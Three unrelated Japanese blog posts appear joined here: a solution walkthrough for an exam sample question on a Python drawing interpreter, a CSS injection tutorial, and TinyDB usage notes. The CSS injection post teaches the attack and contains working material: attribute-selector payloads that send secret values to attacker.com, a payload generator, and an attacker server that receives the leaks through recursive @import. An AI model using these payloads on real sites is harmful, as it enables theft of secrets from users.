基本情報技術者試験のPythonサンプル問題を解く

はじめに

本記事では、IPAより公表された、基本情報技術者試験(FE)におけるPythonのサンプル問題(link)について解説します。

Pythonによる出題は令和2年度春期試験から実施されるようです。

問題の概要

  • 命令列を解釈実行することによって様々な図形を描くプログラムである。
  • マーカは,現在の位置座標と進行方向の角度を情報としてもつ。
  • 命令列は,命令を;で区切った文字列である。
    • F<val>: <val>の分だけ前進して現在の位置座標を更新する。
    • T<val>: <val>の分だけ回転して角度情報を更新する。
    • R<val>: <val>の分だけE0命令までの命令列を繰り返す。

設問1

a

命令列αは以下の通りです。

R3;R4;F100;T90;E0;T100;E0;

この命令列のうち、特にR4;F100;T90;E0;の部分は現在位置を起点にして長さ100の正方形を描く命令列です。

また、命令列のうち、R3; ... T100;E0;の部分は、...の処理の後に前に100進む処理を3回繰り返す処理です。

つまり、命令列全体は「長さ100の正方形を描いた後、前に100進む」という処理を3回繰り返すものになります。

そのため、命令列αが実行し終わった時点でのマーカの位置は、図3の内の②であり、進行方向は右向き(x軸の正方向)となります。

b

1辺の長さが100の正五角形を描くためには、以下のような処理を行えば良いことがわかります。

- 5回繰り返す
    - 前に100進む
    - 適切な角度回転する

これを問題の命令列に則った書式で書き直すと以下のようになります。

R5;F100;T???;E0;

ここで、回転する角度は以下の画像に示す赤の角度になります。正五角形なので、ここの角度は72度です。

f:id:Szarny:20191225125026p:plain

よって命令列は以下の通りとなります。

R5;F100;T72;E0;

設問2

c

関数parseの処理を分解すると以下のように考えることができます。

- ";" で区切る
- 区切った各要素のうち先頭の命令コードを取り出す
- 区切った各要素のうち先頭の命令コードを除いた数値パラメタを取り出す

問題文のソースコードにおいて、;で区切る処理(s.split(';'))と、各要素のうち先頭の命令コードを取り出す処理(x[0])はすでに記述されているため、残っているのは、各要素のうち先頭の命令コードを除いた数値パラメタを取り出す処理です。

def parse(s):
    return [(x[0], [ c ]) for x in s.split(';')]

数値パラメタは各要素の先頭の1文字を除いたものであるため、ここではxの2文字目以降を表すx[1:]が適切です。

d

関数forwardの処理は以下の通りです。

def forward(self, val):
    # 度数法で表した角度を,ラジアンで表した角度に変換
    rad = math.radians(self.angle)
    dx = val * [ d1 ]
    dy = val * [ d2 ]
    x1, y1, x2, y2 = [ e ], self.x + dx, self.y + dy
    # (x1,y1)と(x2,y2)を結ぶ線分を描画
    plt.plot([x1, x2], [y1, y2], color='black', linewidth=2)
    self.x, self.y = x2, y2

ここで、dx,dyはそれぞれx軸方向及びy軸方向それぞれの軸における、現在の座標から目的とする座標に移動するために必要な座標の差分だと考えられます。

dxがx軸方向における座標の差分であるならば、その値は進む量 * cos(角度)で求められます。これはd1に当てはまります。

また、dyがy軸方向における座標の差分であるならば、その値は進む量 * sin(角度)で求められます。これはd2に当てはまります。

e

関数forwardにおけるex1, y1に代入されています。

plt.plot([x1, x2], [y1, y2], color='black', linewidth=2)という処理を考慮すれば、x1,y1はそれぞれ移動前のx座標とy座標であると考えられます。

よって、eには移動前のx座標とy座標であるself.x, self.yを当てはめれば良いです。

f

関数drawの処理は以下の通りです。

def draw(s):
insts = parse(s)
    marker = Marker()
    stack = []
    opno = 0
    while opno < len(insts):
        print(stack) # <- β>
        code, val = insts[opno]
        if code == 'F':
            marker.forward([ f ])
        elif code == 'T':
            marker.turn([ f ])
        elif code == 'R':
            stack.append({'opno': opno, 'rest': [ f ]})
        elif code == 'E':
            if stack[-1]['rest'] [ g ]:
                [ h ]
                stack[-1]['rest'] -= 1
            else:
                [ i ]
            opno += 1
    marker.show()

fは、移動時や回転時におけるパラメタとして利用されています。そのため、単純に数値パラメタを代入すれば良いです。

code, val = insts[opno]において、実行すべき命令の命令コードと数値パラメタが代入されているため、fにはvalを当てはめれば良いです。

g

gには特定の条件が当てはまります。

特に関係のある部分を抽出してみます。

elif code == 'E':
    if stack[-1]['rest'] [ g ]:
        [ h ]
        stack[-1]['rest'] -= 1
    else:
        [ i ]

この条件分岐は、実行する命令がEである命令、つまりループの終端に到達した時に実行されます。

ここで、Eに到達した時に考えなければならないことは「ループが終わるか、さらに繰り返すか」です。

さて、stack[-1]['rest'] [ g ]という条件がTrueであった場合、stack[-1]['rest'] -= 1という処理が実行されています。これは、ループの残り回数をデクリメントする処理です。つまり、こちら側に分岐した際には、まだループが終わっていないと考えられます(終わっているならばループ回数をデクリメントする必要がないからです)。

以上を考慮すると、stack[-1]['rest'] [ g ]は「ループがまだ終わっていない」を意味する条件であると考えられます。「ループがまだ終わっていない」は「今のループの残り回数がまだ1回より多く残っている」という解釈ができます。

よって、条件はstack[-1]['rest'] > 1であると考えられます。

h

gにて述べた通り、こちら側の分岐はまだループが終わっていない時の分岐です。ループが終わっていない時に行わなければならない処理は以下の通りです。

  • ループの残り回数をデクリメントする
  • 実行する命令をループの先頭に戻す

この内、「ループの残り回数をデクリメントする」はすでに行われているため、「実行する命令をループの先頭に戻す」処理が必要であると考えられます。

実行する命令は変数opnoによって管理されており、実行中のループの先頭命令は、スタックとして用いられているリストの末尾の要素であるstack[-1]に格納されている辞書のopnoキーの値として保持されています。

よってhopno = stack[-1]['opno']であるとわかります。

i

gにて述べた通り、こちら側の分岐はループが終了した際の分岐です。ループが終わった際には、そのループを表す辞書をスタックから取り除く必要があります。

ここで、現在のループを表す辞書はスタックとして用いられているリストの末尾の要素であるstack[-1]に格納されています。

そのため、stack[-1]を取り除く処理であるstack.pop()を実行すれば良いです。

おわりに

基本情報技術者試験(FE)におけるPythonのサンプル問題を行いました。

他の言語よりも比較的敷居が低いため、Pythonの選択者がかなり増えるんじゃないかなあと個人的に思っています。

CSS Injection (+ Recursive Import) の原理と攻撃手法およびその実装について

はじめに

本記事ではCSS Injection(以下,CSSi)について解説します.
CSSiについて,その原理や攻撃手法の概要を示したあと,実際に攻撃環境を実装して,HTML上に存在する機密情報を窃取する攻撃を模擬します.

本記事で紹介する実装内容に関しては以下のリポジトリで公開しています. github.com

記載内容に何かミスがあれば筆者までご連絡ください.

注意

本記事はあくまでサイバーセキュリティに関する情報共有の一環として執筆したものであり,違法な行為を助長するものではありません.
本記事に掲載されている攻撃手法を公開されているシステム等に対して実行するといった行為は決して行わないでください.

The purpose of this article is to share information about cybersecurity with the community in order to promote better understanding of modern threats and techniques.
The author does NOT condone illegal activity of any nature; please do not carry out any attacks described herein against any system(s) you do not have explicit permission to attack.

CSSiの原理と概要

CSS injection vulnerabilities arise when an application imports a style sheet from a user-supplied URL, or embeds user input in CSS blocks without adequate escaping. [1]

CSSiは,Webアプリケーションが,ユーザから入力されたCSSファイルのimportが可能な場合や,適切なエスケープなしにCSSブロック(<style>...</style>)を挿入可能な場合に発生する脆弱性のことです.
CSSiが可能な場合,ただユーザのブラウザ上でレンダリングされるコンテンツのスタイルを変更できるだけでなく,機密情報の窃取を含めた様々な攻撃が可能になる可能性があります.

以下では,例として,特定のタグの属性値をリークさせる手法について解説します.

さて,CSSには以下のような記法(前方一致セレクタ)があります.

selector[attr^=val] {
    ...
}

例えば,以下のようなCSSが読み込まれると,href属性がhttps://で始まる<a>のテキストのみが赤色で表示されるようになります.

a[href^="https"] {
    color: red;
}

これを悪用すると,以下のような手法が考えられます.
下記のCSSでは,<input>におけるvalue属性の値がaで始まるときに,攻撃者のサーバに対してクエリ文字列secretの値がaであるHTTPリクエストが送信されます.

input[value^="a"] {
    background: url(http://attacker.com/?secret=a)
}

例えば<input>value属性が16進数で構成されることがわかっている場合,0,1,...,fの全てを試すことで,<input>value属性の値の1文字目をリークさせることができます.

input[value^="0"] { background: url(http://attacker.com/?secret=0) }
input[value^="1"] { background: url(http://attacker.com/?secret=1) }
...
input[value^="f"] { background: url(http://attacker.com/?secret=f) }

上記の攻撃によって1文字目をリークさせることに成功した攻撃者は,さらにリークを進めることができます. 例えば,1文字目がaであると判明した場合には,以下のCSSによって2文字目のリークを狙います.

input[value^="a0"] { background: url(http://attacker.com/?secret=a0) }
input[value^="a1"] { background: url(http://attacker.com/?secret=a1) }
...
input[value^="af"] { background: url(http://attacker.com/?secret=af) }

あとはこれを続けていくことで,文字列全体をリークさせることができます.

クラシカルな手法

概要

まずは上記の攻撃を再現するクラシカルな手法について実装を行います.

本手法は,classicディレクトリ内で実装を行なっています.

攻撃の流れは以下の通りです.

  1. 攻撃者はリークした機密情報をフックするためのWebサーバを用意する
  2. 攻撃者はターゲットに対して,CSSi脆弱性があるWebアプリーケーションに機密情報の1文字目をリークさせることができるようなCSSを挿入させる.
  3. 挿入されたCSSによって攻撃者のWebサーバにリクエストが送信される(ここで機密情報の1文字目が判明する).
  4. 攻撃者は3.で判明した機密情報の1文字目をもとに,ターゲットに対して機密情報の2文字目をリークさせることができるようなCSSを挿入させる.
  5. 挿入されたCSSによって攻撃者のWebサーバにリクエストが送信される(ここで機密情報の2文字目が判明する).
  6. 攻撃者は5.で判明した機密情報の2文字目をもとに,ターゲットに対して機密情報の3文字目をリークさせることができるようなCSSを挿入させる.
  7. 以下ループ

動作デモ

実装

脆弱なWebアプリケーション(/classic/user/*)

Webアプリケーションが返却するテンプレートは以下の通りです.
ページ上部の<input>に機密情報が格納されています.
また,ページ下部では入力された値がエスケープされずに出力されます.

...
<div>
    secret: <input type="text" name="secret" style="width: 50%;" value="e220929194af9599e46619a7e48f0d7703f620b8">
</div>

<hr>

<form action="/" method="POST">
    <input type="text" name="data" style="width: 50%;">
    <input type="submit" value="post">
</form>

<h1>Escaped</h1>
<div style="border: 1px solid black;">
    {{ data }}
</div>

<h1>Not Escaped</h1>
<div style="border: 1px solid black;">
    {{ data | safe }}
</div>
</div>
...

Webアプリケーションは0.0.0.0:8080で起動します.
POSTが行われた際には,その入力値をテンプレートにバインドします.

from flask import Flask, request, render_template

app: Flask = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html", data="POST data is displayed here.")
    
    if request.method == "POST":
        return render_template("index.html", data=request.form.get("data"))

app.run(host="0.0.0.0", port=8080)

攻撃用CSS生成スクリプト(/classic/attacker/exploit.py)

既知の機密情報(known_secret)をもとに,その次の文字(try_secret)をリークさせるような攻撃用CSSを生成します.
CSSiに脆弱なWebアプリケーションに対して,生成された攻撃用CSSをターゲットが入力することで機密情報のリークが行われます.

以下のようにして実行します.

python exploit.py <known_secret>
import sys
import pyperclip

WEBHOOK: str = "http://0.0.0.0:8081"

def generate_attack_vector(known_secret: str) -> str:
    attack_vector_tmpl: str = """
        input[value^='{known_secret}{try_secret}']{{
            background: url('{webhook}?secret={known_secret}{try_secret}')
        }}"""

    attack_vector: str = ""

    for secret_param in "0123456789abcdef":
        attack_vector += attack_vector_tmpl.format(webhook=WEBHOOK,
                                                   known_secret=known_secret,
                                                   try_secret=secret_param)

    attack_vector = "<style>" + attack_vector + "</style>"

    pyperclip.copy(attack_vector)

    return attack_vector


def main() -> None:
    known_secret: str = sys.argv[1] if len(sys.argv) != 1 else ""
    print(generate_attack_vector(known_secret=known_secret))


if __name__ == '__main__':
    main()

攻撃者用Webサーバ(/classic/attacker/server.py)

攻撃者用Webサーバは0.0.0.0:8081で起動します.
挿入されたCSSによってリークした値を表示します.

import logging
from flask import Flask, request

# Turn off default logging by Flask.
l = logging.getLogger()
l.addHandler(logging.FileHandler("/dev/null"))

app: Flask = Flask(__name__)


@app.route('/')
def index():
    secret: str = request.args.get('secret', "")
    print("secret={}".format(secret))

    return "ok"


app.run(host="0.0.0.0", port=8081)

Recursive Import を用いた手法

概要

先ほどの手法には,ターゲットに対して毎回攻撃用のCSSをWebアプリケーションに対して送信させなければならないという問題点が存在しました.
また,機密情報がアクセスの度にランダムに変更するようなWebアプリケーションに対しては攻撃を行うことができなくなります.

上記の問題を解決するために,CSS再帰的なインポート(Recursive Import)を活用した攻撃手法が存在します.
本手法によって,Webアプリケーションに対する(人手を介した)攻撃用CSSの送信が1回で済むようになります.

CSSのインポートと攻撃の原理

CSSでは,以下の例に示すように,@importによって他のCSSファイルの内容をインポートすることができます.

@import url("http://example.com/style.css"):

この機能を用いて攻撃を構成します.
まず,以下のCSSをターゲットに送信させます.

@import url("http://attacker.com/css/0.css");

0.cssの中身は以下のようにしておきます.

@import url("http://attacker.com/css/1.css");

input[value^="0"] { background: url(http://attacker.com/leak/0) }
input[value^="1"] { background: url(http://attacker.com/leak/1) }
...
input[value^="f"] { background: url(http://attacker.com/leak/f) }

ここで,@import url("http://attacker.com/css/1.css");によって1.cssへのアクセスが行われます.

ただし,1.cssへのアクセスは,リークした機密情報を捉えるためのエンドポイントであるhttp://attacker.com/leak/<secret>へのアクセスより先であるため,この時点では機密情報の1文字目は判明していません.

そこで,一旦1.cssへのレスポンスを保留させておきます.
そして,http://attacker.com/leak/<secret>へのアクセスによって機密情報の1文字目が判明した後に1.cssの内容を構成し,それをレスポンスとして返却します.

機密情報の1文字目がaであった場合の1.cssは以下のようになります.

@import url("http://attacker.com/css/2.css");

input[value^="a0"] { background: url(http://attacker.com/leak/a0) }
input[value^="a1"] { background: url(http://attacker.com/leak/a1) }
...
input[value^="af"] { background: url(http://attacker.com/leak/af) }

このように@import再帰的にチェーンさせていくことで,機密情報全体のリークを狙います.

攻撃フロー

攻撃のフローをまとめると以下のようになります.


f:id:Szarny:20191017165049p:plain


本手法は,recursiveディレクトリ内で実装を行なっています.

攻撃の流れは以下の通りです.

  1. 攻撃者はリークした機密情報をフックするため,及び,リークした機密情報に応じたCSSを生成し配布するためのWebサーバを用意する
  2. 攻撃者はターゲットに対して,CSSi脆弱性があるWebアプリーケーションに0.cssをimportするようなCSSを送信させる(<style>@import url('http://0.0.0.0:8081/css/0.css')</style>).
  3. 挿入されたCSSによって攻撃者のWebサーバに1.cssへのリクエストが送信される(ここではレスポンスを保留する).
  4. 挿入されたCSSによって攻撃者のWebサーバに機密情報の1文字目がリークする.
  5. リークした機密情報の1文字目をもとに1.cssを構成しレスポンスする.
  6. レスポンスされたCSSによって攻撃者のWebサーバに2.cssへのリクエストが送信される(ここではレスポンスを保留する).
  7. レスポンスされたCSSによって攻撃者のWebサーバに機密情報の2文字目がリークする.
  8. リークした機密情報の1,2文字目をもとに2.cssを構成しレスポンスする.
  9. 以下ループ

動作デモ

実装

脆弱なWebアプリケーション(/recursive/user/*)

脆弱なWebアプリケーションの実装は/classic/user/*のそれと同じであるため省略します.

攻撃者用Webサーバ(/recursive/attacker/server.py)

攻撃者用Webサーバは以下のエンドポイントを持ちます.

  • /css/<filename>: CSSのレスポンスを行うエンドポイント.
  • /leak/<secret>: リークした機密情報を取得するエンドポイント.

CSSへのアクセスに対して機密情報のリークが追いつくまでレスポンスを保留するために,Flask.runをする際にthreadedオプションをTrueに設定しています.

import logging
import time

from flask import Flask, request, render_template, Response
from typing import Dict, Union

# Turn off default logging by Flask.
l = logging.getLogger()
l.addHandler(logging.FileHandler("/dev/null"))

app: Flask = Flask(__name__)

g: Dict[str, Union[str, int]] = {
    "known_secret": "",
    "index": 0
}


@app.route("/leak/<secret>")
def leak(secret):
    g["known_secret"] = secret
    g["index"] += 1

    print("secret={}".format(g["known_secret"]))

    return "ok"


@app.route('/css/<filename>')
def css(filename):
    index: int = int(filename.split(".")[0])

    while index != g["index"]:
        time.sleep(0.01)

    return Response(render_template("tmpl.jinja2", index=index, known_secret=g["known_secret"]), headers={'Content-Type': 'text/css'})


app.run(host="0.0.0.0", port=8081, threaded=True)

CSSのレスポンスは以下のjinjaテンプレートを用いて行います.

@import url("http://0.0.0.0:8081/css/{{ index+1 }}.css");

{% for try_secret in "0123456789abcdef" %}
input[value^={{ known_secret + try_secret }}]{{ ":first-child" * index }}{
    background: url("http://0.0.0.0:8081/leak/{{ known_secret + try_secret }}");
}
{% endfor %}

なお,単にCSSを挿入しただけではブラウザ上での読み込みの優先度の問題で正しく動作しませんが,m---/onsenにて示されている:first-childチェインを用いる手法によって本攻撃が実現可能になります.[2][3]

おわりに

本記事では,CSSiについて,その原理や攻撃手法の概要を示すとともに,攻撃環境を実装して,HTML上に存在する機密情報を窃取する攻撃を模擬しました.
また,Recursive Importという手法を活用した攻撃手法についても説明しました.

CSSi脆弱性によって可能になる攻撃やその手法は他にも存在します.
さらにキャッチアップしたい方は[1]や[4],[5],[6]を参照してみてください.

参考文献

  1. PortSwigger, CSS injection (reflected), https://portswigger.net/kb/issues/00501300_css-injection-reflected

  2. GitHub, m---/onsen, https://github.com/m---/onsen/

  3. Mozilla, 詳細度 - CSS: カスケーディングスタイルシート | MDN, https://developer.mozilla.org/ja/docs/Web/CSS/Specificity

  4. SpeakerDeck, CSS Injection ++ - 既存手法の概観と対策, https://speakerdeck.com/lmt_swallow/css-injection-plus-plus-ji-cun-shou-fa-falsegai-guan-todui-ce

  5. やっていく気持ち,CSS Injection 再入門, https://diary.shift-js.info/css-injection/

  6. INT 4: HACKER, Possibility of DOM based XSS attack by Pseudo-elements from CSS Injection / JavaScriptCSSインジェクションのDOMを見るか?, https://www.hack.vet/entry/20190314/1552535283

Pythonで操作できる軽量NoSQLデータベース TinyDBの使い方メモ

Pythonで使える軽量なNoSQLデータベースないかなあと思って調べていたところ良さそうなものがあったので,忘れないようにとの意味も込めて書きます.

はじめに

本エントリでは,TinyDBの活用方法について説明します.
本エントリの内容はTinyDBの公式ドキュメントに基づいています.

環境

本エントリ内で記述してあるコードは,以下の環境において正しく動作することを確認しています.

$ python --version
Python 3.7.3

$ pip freeze | grep tinydb
tinydb==3.13.0

概要

TinyDBはpureなPythonで記述されたドキュメント志向型のNoSQLデータベースです.
非常に軽量であり,別途データベース用のサーバ等も準備する必要がない一方で,データ操作のためのクエリを実行するためのAPIが豊富に用意されています.
ただし,ACID特性に対する保証がないことやマルチスレッド環境への対応がなされていない等の欠点もあります.

インストール

下記のコマンドでインストール可能です.

$ pip install tinydb

基本的なTinyDBの操作

TL;DR

コード 概要
db = TinyDB(filename) データを格納するファイルを選択した上でTinyDBのインスタンスを生成
query = Query() Queryインスタンスを生成
db.insert(document) ドキュメントを追加
db.all() ドキュメントを全件取得
db.search(query) queryの条件に一致するドキュメントを全件取得
db.contains(query) queryの条件に一致するドキュメントが存在するかを検査
db.count(query) queryの条件に一致するドキュメントの件数を調査
db.update(fields, query) queryの条件に一致するドキュメントをfieldsの内容で更新(queryを省略すると全件更新)
db.purge() ドキュメントを全件削除
db.remove(query) queryの条件に一致するドキュメントを全件削除

解説

下準備

必要なモジュールをインポートします.

from tinydb import TinyDB, Query

インスタンス生成

データを格納するファイル名を指定した上でTinyDBのインスタンスを生成します.

db = TinyDB("db.json")

追加

ドキュメントを追加します.

db.insert({"name": "foo", "age": 20})
db.insert({"name": "bar", "age": 30})

全件取得

データを全件取得するにはTinyDB.all()を使います.

db.all()

# [{'name': 'foo', 'age': 20}, {'name': 'bar', 'age': 30}

iter

イテレータとして用いることも可能です.

for document in db:
    print(document)

# {'name': 'foo', 'age': 20}
# {'name': 'bar', 'age': 30}

クエリ

クエリを指定してデータを抽出するときは,Queryインスタンスを生成した上で条件を指定します.

query = Query()
db.search(query.name == "foo")

# [{'name': 'foo', 'age': 20}]

演算子

==以外の演算子も利用可能です.

db.search(query.age > 25)

# [{'name': 'bar', 'age': 30}]

存在可否と件数

containsを使うことで,クエリの条件に一致するドキュメントが存在するかを調べることができます. また,countを使うことで,クエリの条件に一致するドキュメントが何件存在するかを調べることができます.

db.contains(query.age > 40)

# False
db.count(query.age < 40)

# 2

更新と削除

クエリの条件に一致するドキュメントのデータを更新したり削除したりすることもできます.

db.update({"age": 40}, query.name == "bar")
db.search(query.name == "bar")

# [{'name': 'bar', 'age': 40}]
db.remove(query.name == "foo")
db.all()

# [{'name': 'bar', 'age': 40}]

全件削除

purge()を呼び出すとドキュメントを全削除できます.

db.purge()
db.all()

# []

まとめ

# 必要なライブラリのインポート
from tinydb import TinyDB, Query

# TinyDBインスタンスの生成
db = TinyDB("db.json")

# ドキュメントの追加
db.insert({"name": "foo", "age": 20})
db.insert({"name": "bar", "age": 30})

# 全件取得
print(db.all())

# イテレータとして取得
for document in db:
    print(document)

# クエリの活用
query = Query()
db.search(query.name == "foo")
db.search(query.age > 25)

# 存在可否と件数
db.contains(query.age > 40)
db.count(query.age < 40)

# ドキュメントの更新
db.update({"age": 40}, query.name == "bar")
db.search(query.name == "bar")

# ドキュメントの削除
db.remove(query.name == "foo")
db.all()

# ドキュメント全削除
db.purge()
db.all()

Appendix

テーブル

TinyDBでは,TinyDB.tableを用いて複数のテーブルを同時に管理することができます. ただし,何も指定しない場合は_defaultという名前のテーブルがデフォルトで指定されます. 操作方法は以下の通りです.

コード 概要
table = TinyDB.table(name) 指定した名前でテーブルを新規に生成
db.tables() テーブル一覧を取得
db.purge_table(name) 指定したテーブルを削除
db.purge_tables() テーブルを全件削除

tableインスタンスに対する操作はTinyDBインスタンスに対する操作と同様であるため説明は省略します.

MemoryStorage

TinyDBインスタンス生成時に,インメモリのストレージを指定することができます.

db = TinyDB(memory=MemoryStorage)

応用的なTinyDBの操作

TL;DR

コード 概要
db.search(where(field) == foo) tinydb.whereを用いたクエリ
db.search(query.field.exists()) fieldが存在するドキュメントを抽出
db.search(query.field.test(func, args, ...)) クエリに独自の関数を利用して抽出
db.search(query.field.any(list)) fieldlistの要素を1つでも含んでいるドキュメントを抽出
db.search(query.field.all(list)) fieldlistの要素を全て含んでいるドキュメントを抽出
db.search(query.field.any(cond)) fieldcondの条件と部分的にでも一致しているドキュメントを抽出
db.search(query.field.all(cond)) fieldcondの条件と完全に一致しているドキュメントを抽出
db.search(~ query) 否定(クエリに一致しないドキュメントを抽出)
db.search(query1 & query2) 論理積(両方のクエリに一致するドキュメントを抽出)
db.search(query1 | query2) 論理和(少なくとも片方のクエリに一致するドキュメントを抽出)
db.write_back(docs) 指定したdocsでデータベースを更新

説明

下準備

from tinydb import TinyDB, Query, where

db = TinyDB("db.json")

db.insert({
    "name": "foo",
    "birthday": {
        "year": 2000,
        "month": 1,
        "day": 10
    },
    "leader": "yes",
    "hobbies": ["sport", "movie", "walking"]
})

db.insert({
    "name": "bar",
    "birthday": {
        "year": 1990,
        "month": 2,
        "day": 20
    },
    "hobbies": ["movie", "walking", "programming"]
})

db.insert({
    "name": "baz",
    "birthday": {
        "year": 1980,
        "month": 3,
        "day": 30
    },
    "hobbies": ["swimming"]
})

where

whereを用いてクエリを構成できます.

db.search(where("name") == "foo")

# [{'name': 'foo', 'birthday': {'year': 2000, 'month': 1, 'day': 10}, 'leader': 'yes', 'hobbies': ['sport', 'movie', 'walking']}]

exists

exists()を使うと,そのfieldが存在するドキュメントのみを抽出できます.

db.search(query.leader.exists())

# [{'name': 'foo', 'birthday': {'year': 2000, 'month': 1, 'day': 10}, 'leader': 'yes', 'hobbies': ['sport', 'movie', 'walking']}]

独自関数

クエリに独自関数を用いることもできます.

f = lambda v, l, r: l <= v <= r
db.search(query.birthday.year.test(f, 1975, 1995))

# [
#     {'name': 'bar', 'birthday': {'year': 1990, 'month': 2, 'day': 20}, 'hobbies': ['movie', 'walking', 'programming']}, 
#     {'name': 'baz', 'birthday': {'year': 1980, 'month': 3, 'day': 30}, 'hobbies': ['swimming']}
# ]

any

anyを用いることで,ドキュメントの特定のfieldの要素に,指定されたリストの要素が1つでも含まれている場合に,そのドキュメントを抽出することができます.

db.search(query.hobbies.any(["sport", "movie", "programming"]))

# [
#     {'name': 'foo', 'birthday': {'year': 2000, 'month': 1, 'day': 10}, 'leader': 'yes', 'hobbies': ['sport', 'movie', 'walking']}, 
#     {'name': 'bar', 'birthday': {'year': 1990, 'month': 2, 'day': 20}, 'hobbies': ['movie', 'walking', 'programming']}
# ]

all

allを用いることで,ドキュメントの特定のfieldの要素に,指定されたリストの要素が全て含まれている場合に,そのドキュメントを抽出することができます.

db.search(query.hobbies.all(["sport", "movie", "walking"]))

# [{'name': 'foo', 'birthday': {'year': 2000, 'month': 1, 'day': 10}, 'leader': 'yes', 'hobbies': ['sport', 'movie', 'walking']}]

論理演算子

クエリに論理演算子を用いることもできます.

db.search(~ query.leader.exists())

# [
#     {'name': 'bar', 'birthday': {'year': 1990, 'month': 2, 'day': 20}, 'hobbies': ['movie', 'walking', 'programming']}, 
#     {'name': 'baz', 'birthday': {'year': 1980, 'month': 3, 'day': 30}, 'hobbies': ['swimming']}
# ]
db.search((query.birthday.year == 2000) | query.hobbies.any(["movie"]))

# [
#     {'name': 'foo', 'birthday': {'year': 2000, 'month': 1, 'day': 10}, 'leader': 'yes', 'hobbies': ['sport', 'movie', 'walking']}, 
#     {'name': 'bar', 'birthday': {'year': 1990, 'month': 2, 'day': 20}, 'hobbies': ['movie', 'walking', 'programming']}
# ]
db.search((query.birthday.year == 2000) & query.hobbies.any(["movie"]))

# [{'name': 'foo', 'birthday': {'year': 2000, 'month': 1, 'day': 10}, 'leader': 'yes', 'hobbies': ['sport', 'movie', 'walking']}]

write_back

write_backを用いることで,操作したデータの置換を容易に行うことができます.

documents = db.search(query.hobbies.any("walking"))
for document in documents:
    document["hobbies"].append("running")
db.write_back(documents)

db.search(query.hobbies.any("running"))

# [
#     {'name': 'foo', 'birthday': {'year': 2000, 'month': 1, 'day': 10}, 'leader': 'yes', 'hobbies': ['sport', 'movie', 'walking', 'running']}, 
#     {'name': 'bar', 'birthday': {'year': 1990, 'month': 2, 'day': 20}, 'hobbies': ['movie', 'walking', 'programming', 'running']}
# ]

まとめ

# 必要なライブラリのインポート
from tinydb import TinyDB, Query, where

# TinyDB, Queryインスタンスの生成
db = TinyDB("db.json")
query = Query()

# データの下準備
db.insert({
    "name": "foo",
    "birthday": {
        "year": 2000,
        "month": 1,
        "day": 10
    },
    "leader": "yes",
    "hobbies": ["sport", "movie", "walking"]
})

db.insert({
    "name": "bar",
    "birthday": {
        "year": 1990,
        "month": 2,
        "day": 20
    },
    "hobbies": ["movie", "walking", "programming"]
})

db.insert({
    "name": "baz",
    "birthday": {
        "year": 1980,
        "month": 3,
        "day": 30
    },
    "hobbies": ["swimming"]
})

# whereを用いたクエリ
print(db.search(where("name") == "foo"))

# 特定のフィールドを持つドキュメントの抽出
print(db.search(query.leader.exists()))

# クエリへの独自関数の利用
f = lambda v, l, r: l <= v <= r
print(db.search(query.birthday.year.test(f, 1975, 1995)))

# anyとall
print(db.search(query.hobbies.any(["sport", "movie", "walking"])))
print(db.search(query.hobbies.all(["sport", "movie", "walking"])))

# 論理演算子
print(db.search(~ query.leader.exists()))
print(db.search((query.birthday.year == 2000) | query.hobbies.any(["movie"])))
print(db.search((query.birthday.year == 2000)))

# write_backを用いたデータの操作
documents = db.search(query.hobbies.any("walking"))
for document in documents:
    document["hobbies"].append("running")
db.write_back(documents)
print(db.search(query.hobbies.any("running")))

おわりに

TinyDBの基本的な操作方法について解説しました.
ここで説明したこと以外にも,データを操作するための様々なAPIや,MiddlewareやStorageあたりをいい感じに拡張するための仕様が準備されているので,興味があれば調べてみてください.